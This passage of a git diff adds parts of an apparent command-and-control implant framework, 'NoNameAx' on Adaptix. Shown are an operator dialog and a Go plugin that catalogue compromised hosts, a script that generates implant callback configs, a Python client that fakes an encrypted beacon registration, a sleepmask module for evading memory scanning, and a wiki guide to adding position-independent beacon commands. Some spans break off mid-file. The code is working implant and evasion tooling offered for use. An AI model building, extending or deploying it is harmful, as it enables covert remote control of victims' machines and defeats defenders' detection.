fld_pid.setReadOnly(true); g_fld_pid = fld_pid; + let fld_process = form.create_textline(""); fld_process.setReadOnly(true); g_fld_process = fld_process; + let fld_ip = form.create_textline(""); fld_ip.setReadOnly(true); g_fld_ip = fld_ip; + let fld_os = form.create_textline(""); fld_os.setReadOnly(true); g_fld_os = fld_os; + let fld_elevated = form.create_textline(""); fld_elevated.setReadOnly(true); g_fld_elevated = fld_elevated; + let fld_sleep = form.create_textline(""); fld_sleep.setReadOnly(true); g_fld_sleep = fld_sleep; + let fld_profile = form.create_textline(""); fld_profile.setReadOnly(true); g_fld_profile = fld_profile; + + let selectGrid = form.create_gridlayout(); + selectGrid.addWidget(form.create_label("Agent:"), 0, 0, 1, 1); + selectGrid.addWidget(combo, 0, 1, 1, 3); + selectGrid.addWidget(lblCount, 1, 0, 1, 1); + + let selectPanel = form.create_panel(); + selectPanel.setLayout(selectGrid); + let grpSelect = form.create_groupbox("Select Agent", false); + grpSelect.setPanel(selectPanel); + + let detailGrid = form.create_gridlayout(); + detailGrid.addWidget(form.create_label("Agent ID:"), 0, 0, 1, 1); detailGrid.addWidget(fld_id, 0, 1, 1, 3); + detailGrid.addWidget(form.create_label("Computer:"), 1, 0, 1, 1); detailGrid.addWidget(fld_computer, 1, 1, 1, 1); + detailGrid.addWidget(form.create_label("Username:"), 1, 2, 1, 1); detailGrid.addWidget(fld_user, 1, 3, 1, 1); + detailGrid.addWidget(form.create_label("Domain:"), 2, 0, 1, 1); detailGrid.addWidget(fld_domain, 2, 1, 1, 1); + detailGrid.addWidget(form.create_label("Arch:"), 2, 2, 1, 1); detailGrid.addWidget(fld_arch, 2, 3, 1, 1); + detailGrid.addWidget(form.create_label("PID / TID:"), 3, 0, 1, 1); detailGrid.addWidget(fld_pid, 3, 1, 1, 1); + detailGrid.addWidget(form.create_label("Process:"), 3, 2, 1, 1); detailGrid.addWidget(fld_process, 3, 3, 1, 1); + detailGrid.addWidget(form.create_label("Internal IP:"), 4, 0, 1, 1); detailGrid.addWidget(fld_ip, 4, 1, 1, 1); + detailGrid.addWidget(form.create_label("OS:"), 4, 2, 1, 1); detailGrid.addWidget(fld_os, 4, 3, 1, 1); + detailGrid.addWidget(form.create_label("Elevated:"), 5, 0, 1, 1); detailGrid.addWidget(fld_elevated, 5, 1, 1, 1); + detailGrid.addWidget(form.create_label("Sleep:"), 5, 2, 1, 1); detailGrid.addWidget(fld_sleep, 5, 3, 1, 1); + detailGrid.addWidget(form.create_label("Profile:"), 6, 0, 1, 1); detailGrid.addWidget(fld_profile, 6, 1, 1, 3); + + let detailPanel = form.create_panel(); + detailPanel.setLayout(detailGrid); + let grpDetails = form.create_groupbox("Agent Details", false); + grpDetails.setPanel(detailPanel); + + let btnDelete = form.create_button("Delete Selected"); + let btnRefresh = form.create_button("Refresh"); + let btnClear = form.create_button("Clear All"); + + form.connect(btnDelete, "clicked", function() { + let agentId = selectedAgentId(); + if (agentId === "") { + ax.show_message("Delete", "Select an agent first."); + return; + } + ax.service_command("nax_store", "delete", { agent_id: agentId }); + }); + + form.connect(btnRefresh, "clicked", function() { + refreshList(); + }); + + form.connect(btnClear, "clicked", function() { + let ok = ax.prompt_confirm("Clear Store", "Delete ALL entries from the persistence store?"); + if (ok) { + ax.service_command("nax_store", "clear", null); + } + }); + + let buttonRow = form.create_hlayout(); + buttonRow.addWidget(btnDelete); + buttonRow.addWidget(btnRefresh); + buttonRow.addWidget(btnClear); + + let buttonPanel = form.create_panel(); + buttonPanel.setLayout(buttonRow); + + let layout = form.create_vlayout(); + layout.addWidget(grpSelect); + layout.addWidget(grpDetails); + layout.addWidget(buttonPanel); + + let dialog = form.create_dialog("NaX Store Manager"); + dialog.setSize(720, 500); + dialog.setLayout(layout); + + ax.service_command("nax_store", "list", null); + + dialog.exec(); + + g_combo = null; + g_count_lbl = null; + g_entries = []; + g_fld_id = null; + g_fld_computer = null; + g_fld_user = null; + g_fld_domain = null; + g_fld_arch = null; + g_fld_pid = null; + g_fld_process = null; + g_fld_ip = null; + g_fld_os = null; + g_fld_elevated = null; + g_fld_sleep = null; + g_fld_profile = null; +} diff --git a/src_server/service_nax_store/config.yaml b/src_server/service_nax_store/config.yaml new file mode 100644 index 0000000..5253541 --- /dev/null +++ b/src_server/service_nax_store/config.yaml @@ -0,0 +1,6 @@ +extender_type: "service" +extender_file: "nax_store.so" +ax_file: "ax_config.axs" + +service_name: "nax_store" +service_config: "" diff --git a/src_server/service_nax_store/go.mod b/src_server/service_nax_store/go.mod new file mode 100644 index 0000000..6ecb342 --- /dev/null +++ b/src_server/service_nax_store/go.mod @@ -0,0 +1,5 @@ +module nax_store + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/src_server/service_nax_store/go.sum b/src_server/service_nax_store/go.sum new file mode 100644 index 0000000..8889bb8 --- /dev/null +++ b/src_server/service_nax_store/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/src_server/service_nax_store/pl_main.go b/src_server/service_nax_store/pl_main.go new file mode 100644 index 0000000..f854cee --- /dev/null +++ b/src_server/service_nax_store/pl_main.go @@ -0,0 +1,322 @@ +package main + +import ( + "encoding/json" + "fmt" + "sort" + "strings" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +const ( + extenderNameAgents = "nax_agents" + extenderNameProfiles = "nax_profiles" +) + +type Teamserver interface { + TsServiceSendDataClient(operator string, service string, data string) + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) +} + +var ( + Ts Teamserver + ModuleDir string +) + +type PluginService struct{} + +type storeEntry struct { + ID string `json:"id"` + Computer string `json:"computer"` + Username string `json:"username"` + Domain string `json:"domain"` + Arch string `json:"arch"` + Profile string `json:"profile"` +} + +type listResponse struct { + Action string `json:"action"` + Success bool `json:"success"` + Entries []storeEntry `json:"entries"` + Count int `json:"count"` +} + +type resultResponse struct { + Action string `json:"action"` + Success bool `json:"success"` + Output string `json:"output,omitempty"` + Error string `json:"error,omitempty"` +} + +type cachedAgentIdentity struct { + Computer string + Username string + Pid string + Tid string + Arch string + Sleep uint + InternalIP string + Domain string + Process string + Elevated bool + ACP int + OemCP int + OsDesc string +} + +func sendJSON(operator string, v any) { + data, err := json.Marshal(v) + if err != nil { + fmt.Printf("[nax_store] JSON marshal failure: %v\n", err) + return + } + Ts.TsServiceSendDataClient(operator, "nax_store", string(data)) +} + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + fmt.Println("[nax_store] InitPlugin → service registered") + return &PluginService{} +} + +func (p *PluginService) Call(operator string, function string, args string) { + fmt.Printf("[nax_store] RPC: operator=%q function=%q\n", operator, function) + + switch strings.ToLower(function) { + case "list": + handleList(operator) + case "details": + handleDetails(operator, args) + case "delete": + handleDelete(operator, args) + case "clear": + handleClear(operator) + default: + sendJSON(operator, resultResponse{ + Action: "error", + Success: false, + Error: fmt.Sprintf("unknown function: %s", function), + }) + } +} + +func handleList(operator string) { + agentKeys, _ := Ts.TsExtenderDataKeys(extenderNameAgents) + profileKeys, _ := Ts.TsExtenderDataKeys(extenderNameProfiles) + + allKeys := make(map[string]bool) + for _, k := range agentKeys { + allKeys[k] = true + } + for _, k := range profileKeys { + allKeys[k] = true + } + + sorted := make([]string, 0, len(allKeys)) + for k := range allKeys { + sorted = append(sorted, k) + } + sort.Strings(sorted) + + entries := make([]storeEntry, 0, len(sorted)) + for _, id := range sorted { + e := storeEntry{ + ID: id, + Computer: "-", + Username: "-", + Domain: "-", + Arch: "-", + Profile: "(default)", + } + + if raw, err := Ts.TsExtenderDataLoad(extenderNameAgents, id); err == nil && len(raw) > 0 { + var ci cachedAgentIdentity + if json.Unmarshal(raw, &ci) == nil { + if ci.Computer != "" { + e.Computer = ci.Computer + } + if ci.Username != "" { + e.Username = ci.Username + } + if ci.Domain != "" { + e.Domain = ci.Domain + } + if ci.Arch != "" { + e.Arch = ci.Arch + } + } + } + + if raw, err := Ts.TsExtenderDataLoad(extenderNameProfiles, id); err == nil && len(raw) > 0 { + var pd map[string]any + if json.Unmarshal(raw, &pd) == nil { + if h, ok := pd["beacon_id_header"].(string); ok && h != "" { + e.Profile = h + } + } + } + + entries = append(entries, e) + } + + sendJSON(operator, listResponse{ + Action: "list_result", + Success: true, + Entries: entries, + Count: len(entries), + }) +} + +type detailsResponse struct { + Action string `json:"action"` + Success bool `json:"success"` + ID string `json:"id"` + + Computer string `json:"computer"` + Username string `json:"username"` + Domain string `json:"domain"` + Arch string `json:"arch"` + Pid string `json:"pid"` + Tid string `json:"tid"` + Process string `json:"process"` + InternalIP string `json:"internal_ip"` + OsDesc string `json:"os_desc"` + Elevated bool `json:"elevated"` + Sleep uint `json:"sleep"` + + HasProfile bool `json:"has_profile"` + BeaconHeader string `json:"beacon_header"` + UserAgent string `json:"user_agent"` + Hosts []string `json:"hosts"` + Rotation string `json:"rotation"` + GetURICount int `json:"get_uri_count"` + PostURICount int `json:"post_uri_count"` +} + +func handleDetails(operator string, args string) { + var req struct { + AgentID string `json:"agent_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil || req.AgentID == "" { + sendJSON(operator, resultResponse{ + Action: "details_result", + Success: false, + Error: "agent_id required", + }) + return + } + + resp := detailsResponse{ + Action: "details_result", + Success: true, + ID: req.AgentID, + } + + if raw, err := Ts.TsExtenderDataLoad(extenderNameAgents, req.AgentID); err == nil && len(raw) > 0 { + var ci cachedAgentIdentity + if json.Unmarshal(raw, &ci) == nil { + resp.Computer = ci.Computer + resp.Username = ci.Username + resp.Domain = ci.Domain + resp.Arch = ci.Arch + resp.Pid = ci.Pid + resp.Tid = ci.Tid + resp.Process = ci.Process + resp.InternalIP = ci.InternalIP + resp.OsDesc = ci.OsDesc + resp.Elevated = ci.Elevated + resp.Sleep = ci.Sleep + } + } + + if raw, err := Ts.TsExtenderDataLoad(extenderNameProfiles, req.AgentID); err == nil && len(raw) > 0 { + var pd map[string]any + if json.Unmarshal(raw, &pd) == nil { + resp.HasProfile = true + if h, ok := pd["beacon_id_header"].(string); ok { + resp.BeaconHeader = h + } + if prof, ok := pd["profile"].(map[string]any); ok { + if ua, ok := prof["UserAgent"].(string); ok { + resp.UserAgent = ua + } + if rot, ok := prof["Rotation"].(string); ok { + resp.Rotation = rot + } + if hosts, ok := prof["Hosts"].([]any); ok { + for _, h := range hosts { + if s, ok := h.(string); ok { + resp.Hosts = append(resp.Hosts, s) + } + } + } + if get, ok := prof["Get"].(map[string]any); ok { + if uris, ok := get["URIs"].([]any); ok { + resp.GetURICount = len(uris) + } + } + if post, ok := prof["Post"].(map[string]any); ok { + if uris, ok := post["URIs"].([]any); ok { + resp.PostURICount = len(uris) + } + } + } + } + } else { + resp.HasProfile = false + resp.BeaconHeader = "(default)" + } + + sendJSON(operator, resp) +} + +func handleDelete(operator string, args string) { + var req struct { + AgentID string `json:"agent_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil || req.AgentID == "" { + sendJSON(operator, resultResponse{ + Action: "delete_result", + Success: false, + Error: "agent_id required", + }) + return + } + + _ = Ts.TsExtenderDataDelete(extenderNameAgents, req.AgentID) + _ = Ts.TsExtenderDataDelete(extenderNameProfiles, req.AgentID) + + fmt.Printf("[nax_store] Deleted store entry: %s\n", req.AgentID) + sendJSON(operator, resultResponse{ + Action: "delete_result", + Success: true, + Output: fmt.Sprintf("Deleted %s", req.AgentID), + }) +} + +func handleClear(operator string) { + count := 0 + if keys, err := Ts.TsExtenderDataKeys(extenderNameAgents); err == nil { + for _, k := range keys { + _ = Ts.TsExtenderDataDelete(extenderNameAgents, k) + count++ + } + } + if keys, err := Ts.TsExtenderDataKeys(extenderNameProfiles); err == nil { + for _, k := range keys { + _ = Ts.TsExtenderDataDelete(extenderNameProfiles, k) + count++ + } + } + + fmt.Printf("[nax_store] Cleared %d store entries\n", count) + sendJSON(operator, resultResponse{ + Action: "clear_result", + Success: true, + Output: fmt.Sprintf("Cleared %d entries", count), + }) +} diff --git a/src_server/tools/gen_config_h.sh b/src_server/tools/gen_config_h.sh new file mode 100755 index 0000000..adc73a4 --- /dev/null +++ b/src_server/tools/gen_config_h.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# gen_config_h.sh - emit agent/include/config.h from listener UI values. +# Usage: +# extender/tools/gen_config_h.sh URL KEYHEX [SLEEPMS] [WATERMARK] +# Example: +# ./extender/tools/gen_config_h.sh \ +# http://127.0.0.1:8080/api/v1/status \ +# 2114d9fc4faa8d7149000a9063d19c4d \ +# 10000 + +set -euo pipefail + +if [ $# -lt 2 ]; then + echo "usage: $0 URL KEYHEX [SLEEPMS] [WATERMARK]" >&2 + exit 1 +fi + +URL="$1" +KEY="$2" +SLEEP_MS="${3:-10000}" +WATERMARK="${4:-a04a4178}" + +if ! [[ "$KEY" =~ ^[0-9a-fA-F]{32}$ ]]; then + echo "ERR: key must be 32 hex chars" >&2 + exit 1 +fi +if ! [[ "$WATERMARK" =~ ^[0-9a-fA-F]{8}$ ]]; then + echo "ERR: watermark must be 8 hex chars" >&2 + exit 1 +fi +if ! [[ "$SLEEP_MS" =~ ^[0-9]+$ ]]; then + echo "ERR: SLEEPMS must be a positive integer" >&2 + exit 1 +fi + +SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" +NONAMEAX_ROOT="${NONAMEAX_ROOT:-$( cd "$SCRIPT_DIR/../.." && pwd )}" +OUT="$NONAMEAX_ROOT/agent/include/config.h" + +cat > "$OUT" < + +What it does: + 1. Generates a fake X-Beacon-Id (16 hex chars). + 2. Builds a wire-v0 REGISTER body (hostname, username, arch, pid, sleep). + 3. Wraps it in the 4-byte frame header. + 4. AES-128-CBC encrypts with a random IV. + 5. POSTs to the listener URI with the X-Beacon-Id header. + 6. Decrypts the response, verifies it's a NO_TASKS frame. + +Exits 0 on success, nonzero with a printed reason on failure. +""" +import argparse +import os +import secrets +import struct +import sys + +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + +import urllib.request +import urllib.error + + +WIRE_TYPE_REGISTER = 0x01 +WIRE_TYPE_NO_TASKS = 0x80 + + +def aes_encrypt(key: bytes, plaintext: bytes) -> bytes: + iv = os.urandom(16) + padder = padding.PKCS7(128).padder() + padded = padder.update(plaintext) + padder.finalize() + cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) + ct = cipher.encryptor() + return iv + ct.update(padded) + ct.finalize() + + +def aes_decrypt(key: bytes, envelope: bytes) -> bytes: + iv, body = envelope[:16], envelope[16:] + cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) + dec = cipher.decryptor() + padded = dec.update(body) + dec.finalize() + unpadder = padding.PKCS7(128).unpadder() + return unpadder.update(padded) + unpadder.finalize() + + +def build_register_body(hostname: str, username: str, pid: int, sleep_ms: int) -> bytes: + hb = hostname.encode() + ub = username.encode() + return ( + struct.pack(" bytes: + return bytes([msg_type, 0x00]) + struct.pack(" $(VARIANT).new + @if ! cmp -s $(VARIANT) $(VARIANT).new 2>/dev/null; then mv $(VARIANT).new $(VARIANT); rm -f $(OUT); else rm -f $(VARIANT).new; fi + +_ensure_debug: | $(DIST) + @echo "debug" > $(VARIANT).new + @if ! cmp -s $(VARIANT) $(VARIANT).new 2>/dev/null; then mv $(VARIANT).new $(VARIANT); rm -f $(OUT); else rm -f $(VARIANT).new; fi + $(eval CFLAGS += -DDEBUG) + +$(DIST): + mkdir -p $(DIST) + +$(OUT): src/main.c include/Imports.h include/Gate.h | $(DIST) + @echo " SM_BOF $@" + $(CC) -c $< -o $@ $(CFLAGS) + +clean: + rm -rf $(DIST) diff --git a/src_sleepmask/include/Gate.h b/src_sleepmask/include/Gate.h new file mode 100644 index 0000000..f43e37b --- /dev/null +++ b/src_sleepmask/include/Gate.h @@ -0,0 +1,74 @@ +/* sleepmask/include/Gate.h + * Sleepmask-local copy of the BeaconGate ABI. + * MUST stay in sync with src_beacon/include/Gate.h - both sides + * share the FUNCTION_CALL struct layout across the gate boundary. */ + +#pragma once +#include + +#define GATE_MAX_ARGS 10 + +/* ========= [ gated API identifiers ] ========= */ + +typedef enum _GATE_API { + GATE_API_GENERIC = 0x00, + GATE_API_SLEEP = 0x01, + GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02, + GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03, + GATE_API_VIRTUAL_PROTECT = 0x04, +} GATE_API; + +/* USTRING for SystemFunction032 (RC4 encrypt/decrypt) */ +#ifndef _USTRING_DEFINED +#define _USTRING_DEFINED +typedef struct { + DWORD Length; + DWORD MaximumLength; + PVOID Buffer; +} USTRING; +#endif + +/* ========= [ sleep obfuscation runtime config ] ========= */ + +typedef struct _NAX_SM_CONFIG { + BYTE SleepObf; /* 0=disabled, 1=enabled (WFSO PoC) */ + BYTE _pad; +} NAX_SM_CONFIG, *PNAX_SM_CONFIG; + +/* ========= [ sleepmask info - populated by beacon, read by sleepmask ] ========= */ + +typedef struct _NAX_SM_INFO { + PVOID BeaconBase; + UINT32 BeaconSize; + PVOID SmBase; + UINT32 SmSize; + PVOID CleanTextBuf; + UINT32 CleanTextSize; + NAX_SM_CONFIG Config; + UINT32 ActiveJobCount; +} NAX_SM_INFO, *PNAX_SM_INFO; + +/* ========= [ function call descriptor ] ========= */ + +typedef struct _FUNCTION_CALL { + PVOID FunctionPtr; + UINT32 GateApi; + UINT32 NumArgs; + ULONG_PTR Args[GATE_MAX_ARGS]; + ULONG_PTR RetValue; + PVOID SmInfo; +} FUNCTION_CALL, *PFUNCTION_CALL; + +/* ========= [ generic dispatch typedefs ] ========= */ + +typedef ULONG_PTR (*FN0 )( VOID ); +typedef ULONG_PTR (*FN1 )( ULONG_PTR ); +typedef ULONG_PTR (*FN2 )( ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN3 )( ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN4 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN5 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN6 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN7 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN8 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN9 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN10)( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); diff --git a/src_sleepmask/include/Imports.h b/src_sleepmask/include/Imports.h new file mode 100644 index 0000000..2a1daf7 --- /dev/null +++ b/src_sleepmask/include/Imports.h @@ -0,0 +1,39 @@ +/* sleepmask/include/Imports.h + * BOF import declarations for the WFSO PoC sleepmask. */ + +#pragma once +#include + +/* ========= [ MSVCRT ] ========= */ + +__declspec(dllimport) int __cdecl MSVCRT$printf( const char*, ... ); + +#define printf MSVCRT$printf + +/* ========= [ kernel32 ] ========= */ + +__declspec(dllimport) BOOL WINAPI KERNEL32$VirtualProtect( LPVOID, SIZE_T, DWORD, PDWORD ); +__declspec(dllimport) DWORD WINAPI KERNEL32$WaitForMultipleObjects( DWORD, const HANDLE*, BOOL, DWORD ); + +#define VirtualProtect KERNEL32$VirtualProtect +#define WaitForMultipleObjects KERNEL32$WaitForMultipleObjects + +/* ========= [ ntdll ] ========= */ + +__declspec(dllimport) NTSTATUS NTAPI NTDLL$NtWaitForSingleObject( HANDLE, BOOLEAN, PLARGE_INTEGER ); +__declspec(dllimport) NTSTATUS NTAPI NTDLL$NtCreateEvent( PHANDLE, ACCESS_MASK, PVOID, DWORD, BOOLEAN ); +__declspec(dllimport) NTSTATUS NTAPI NTDLL$NtClose( HANDLE ); + +#define NtWaitForSingleObject NTDLL$NtWaitForSingleObject +#define NtCreateEvent NTDLL$NtCreateEvent +#define NtClose NTDLL$NtClose + +/* ========= [ common macros ] ========= */ + +#ifndef NtCurrentProcess +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#endif + +#ifndef EVENT_ALL_ACCESS +#define EVENT_ALL_ACCESS 0x1F0003 +#endif diff --git a/src_sleepmask/src/main.c b/src_sleepmask/src/main.c new file mode 100644 index 0000000..969c275 --- /dev/null +++ b/src_sleepmask/src/main.c @@ -0,0 +1,99 @@ +/* sleepmask BOF — WFSO PoC. + * Intercepts Sleep/WFSO/WFMO via BeaconGate and converts them + * to NtWaitForSingleObject on a dummy event. + * This is a PoC demonstrating the gate architecture — extend it + * with your own sleep obfuscation technique. */ + +#include "Imports.h" +#include "Gate.h" + +/* ========= [ per-API handlers ] ========= */ + +static void HandleSleep( PFUNCTION_CALL FnCall ) { + DWORD ms = (DWORD)FnCall->Args[0]; + +#ifdef DEBUG + printf( "[sleepmask] Sleep(%lu ms)\n", (unsigned long)ms ); +#endif + + HANDLE hEvent = NULL; + NtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, 1, FALSE ); + if ( hEvent ) { + LARGE_INTEGER timeout; + timeout.QuadPart = -(LONGLONG)ms * 10000; + NtWaitForSingleObject( hEvent, FALSE, &timeout ); + NtClose( hEvent ); + } +} + +static void HandleWaitForSingleObject( PFUNCTION_CALL FnCall ) { + HANDLE hHandle = (HANDLE)FnCall->Args[0]; + DWORD ms = (DWORD)FnCall->Args[1]; + +#ifdef DEBUG + printf( "[sleepmask] WFSO(handle=%p ms=%lu)\n", hHandle, (unsigned long)ms ); +#endif + + LARGE_INTEGER timeout; + timeout.QuadPart = -(LONGLONG)ms * 10000; + NTSTATUS ret = NtWaitForSingleObject( hHandle, FALSE, &timeout ); + FnCall->RetValue = (ULONG_PTR)ret; +} + +static void HandleWaitForMultipleObjects( PFUNCTION_CALL FnCall ) { + DWORD ms = (DWORD)FnCall->Args[3]; + +#ifdef DEBUG + printf( "[sleepmask] WFMO(n=%lu waitAll=%d ms=%lu)\n", + (unsigned long)(DWORD)FnCall->Args[0], + (int)(BOOL)FnCall->Args[2], + (unsigned long)ms ); +#endif + + DWORD ret = WaitForMultipleObjects( (DWORD)FnCall->Args[0], (HANDLE*)FnCall->Args[1], (BOOL)FnCall->Args[2], ms ); + FnCall->RetValue = (ULONG_PTR)ret; +} + +static void HandleVirtualProtect( PFUNCTION_CALL FnCall ) { + LPVOID lpAddress = (LPVOID)FnCall->Args[0]; + SIZE_T dwSize = (SIZE_T)FnCall->Args[1]; + DWORD flNewProtect = (DWORD)FnCall->Args[2]; + PDWORD lpflOldProtect = (PDWORD)FnCall->Args[3]; + + BOOL ret = VirtualProtect( lpAddress, dwSize, flNewProtect, lpflOldProtect ); + FnCall->RetValue = (ULONG_PTR)ret; +} + +static void HandleGeneric( PFUNCTION_CALL FnCall ) { + switch ( FnCall->NumArgs ) { + case 0: FnCall->RetValue = ((FN0) FnCall->FunctionPtr)(); break; + case 1: FnCall->RetValue = ((FN1) FnCall->FunctionPtr)( FnCall->Args[0] ); break; + case 2: FnCall->RetValue = ((FN2) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1] ); break; + case 3: FnCall->RetValue = ((FN3) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2] ); break; + case 4: FnCall->RetValue = ((FN4) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3] ); break; + case 5: FnCall->RetValue = ((FN5) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4] ); break; + case 6: FnCall->RetValue = ((FN6) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4], FnCall->Args[5] ); break; + case 7: FnCall->RetValue = ((FN7) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4], FnCall->Args[5], FnCall->Args[6] ); break; + case 8: FnCall->RetValue = ((FN8) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4], FnCall->Args[5], FnCall->Args[6], FnCall->Args[7] ); break; + case 9: FnCall->RetValue = ((FN9) FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4], FnCall->Args[5], FnCall->Args[6], FnCall->Args[7], FnCall->Args[8] ); break; + case 10: FnCall->RetValue = ((FN10)FnCall->FunctionPtr)( FnCall->Args[0], FnCall->Args[1], FnCall->Args[2], FnCall->Args[3], FnCall->Args[4], FnCall->Args[5], FnCall->Args[6], FnCall->Args[7], FnCall->Args[8], FnCall->Args[9] ); break; + } +} + +/* ========= [ entry point ] ========= */ + +__attribute__((aligned(16))) +void sleep_mask( void* NaxPtr, PFUNCTION_CALL FnCall ) { +#ifdef DEBUG + printf( "[sleepmask] GateApi=0x%02x NumArgs=%lu FunctionPtr=%p\n", + FnCall->GateApi, (unsigned long)FnCall->NumArgs, FnCall->FunctionPtr ); +#endif + + switch ( FnCall->GateApi ) { + case GATE_API_SLEEP: HandleSleep( FnCall ); return; + case GATE_API_WAIT_FOR_SINGLE_OBJECT: HandleWaitForSingleObject( FnCall ); return; + case GATE_API_WAIT_FOR_MULTIPLE_OBJECTS: HandleWaitForMultipleObjects( FnCall ); return; + case GATE_API_VIRTUAL_PROTECT: HandleVirtualProtect( FnCall ); return; + default: HandleGeneric( FnCall ); return; + } +} diff --git a/wiki/Adding-Commands.md b/wiki/Adding-Commands.md new file mode 100644 index 0000000..ab76bb8 --- /dev/null +++ b/wiki/Adding-Commands.md @@ -0,0 +1,700 @@ +# Adding Commands + +This is an end-to-end walkthrough for adding a new command to the NoNameAx agent. A command touches every layer of the system: a wire protocol ID, a PIC beacon handler in C, a dispatcher entry, Go server-side packing and result parsing, and an AxScript UI registration. All nine steps are mandatory for a fully wired command. + +The walkthrough uses a concrete example -- a `hostname` command that reads the machine's hostname and returns it as a UTF-8 string -- so you can see real code for every file. + +--- + +## Architecture Overview + +When an operator types a command in the Adaptix console, the data flows through these layers: + +``` +Operator UI (AxScript) + | + v +Go server: CreateCommand() -- pack args into wire format + | + v +Wire protocol (TASK frame) -- cmd_id(1) | args_len(4LE) | args + | + v +Beacon: NaxDispatch() -- route to handler by cmd_id + | + v +Beacon: NaxCmdXxx() -- execute, write output to buffer + | + v +Wire protocol (RESULT frame) -- task_id(4LE) | status(1) | data_len(4LE) | data + | + v +Go server: ProcessTasksResult() -- parse output, format for operator + | + v +Operator console output +``` + +--- + +## Step 1: Wire.h -- Define the Command ID + +**File:** `src_beacon/include/Wire.h` + +Pick the next available ID. The current assignments are: + +| Range | Usage | +|-------|-------| +| `0x10`-`0x19` | Core commands (whoami, sleep, exit, fs ops) | +| `0x20`-`0x27` | BOF, screenshot, download, ps, upload, rm | +| `0x28`-`0x29` | Job management | +| `0x30`-`0x31` | Profile, BOF stomp | +| `0x37`-`0x39` | Pivot operations | + +Add your constant after the existing block: + +```c +#define NAX_CMD_HOSTNAME 0x40u +``` + +**Important:** This value must match exactly on the Go side. There is no auto-sync -- you maintain both by hand. + +### Go side: `src_server/agent_nonameax/pl_main.go` + +Add the matching constant in the `const` block alongside the other `CMD_*` values: + +```go +CMD_HOSTNAME byte = 0x40 +``` + +The existing constants live in `pl_main.go` around line 33: + +```go +// NaX wire command IDs - must match Wire.h NAX_CMD_* in the C beacon. +const ( + CMD_WHOAMI byte = 0x10 + CMD_SLEEP byte = 0x11 + // ... + CMD_HOSTNAME byte = 0x40 // <-- add here +) +``` + +--- + +## Step 2: Beacon Command Handler + +**File:** `src_beacon/src/Commands/Hostname.c` + +Create a new file. Every command handler follows one of two signatures: + +```c +// With arguments: +FUNC INT NaxCmdXxx( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, + PBYTE out, UINT32* out_len ); + +// Without arguments: +FUNC INT NaxCmdXxx( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ); +``` + +**Contract:** +- `out` is a caller-provided buffer (at least 512 bytes, typically much larger). +- `*out_len` enters as the buffer capacity, exits as the actual bytes written. +- Return `NAX_OK` (0) on success, `NAX_ERR_*` on failure. + +**PIC constraints apply to all beacon code:** +- No string literals. Use `CHAR` arrays on the stack. +- No CRT calls. All Win32 APIs go through `Nax->BundleName.FuncName(...)`. +- No global variables. All state lives in `NAX_INSTANCE`. +- Stack arrays must stay under ~1 KB. For larger buffers, use `Nax->Ntdll.RtlAllocateHeap(Nax->Heap, 0, size)`. + +### Example: Hostname.c + +```c +/* beacon/src/Commands/Hostname.c + * CMD_HOSTNAME (0x40) - return machine hostname as UTF-8. */ + +#include "Macros.h" +#include "Instance.h" +#include "Wire.h" + 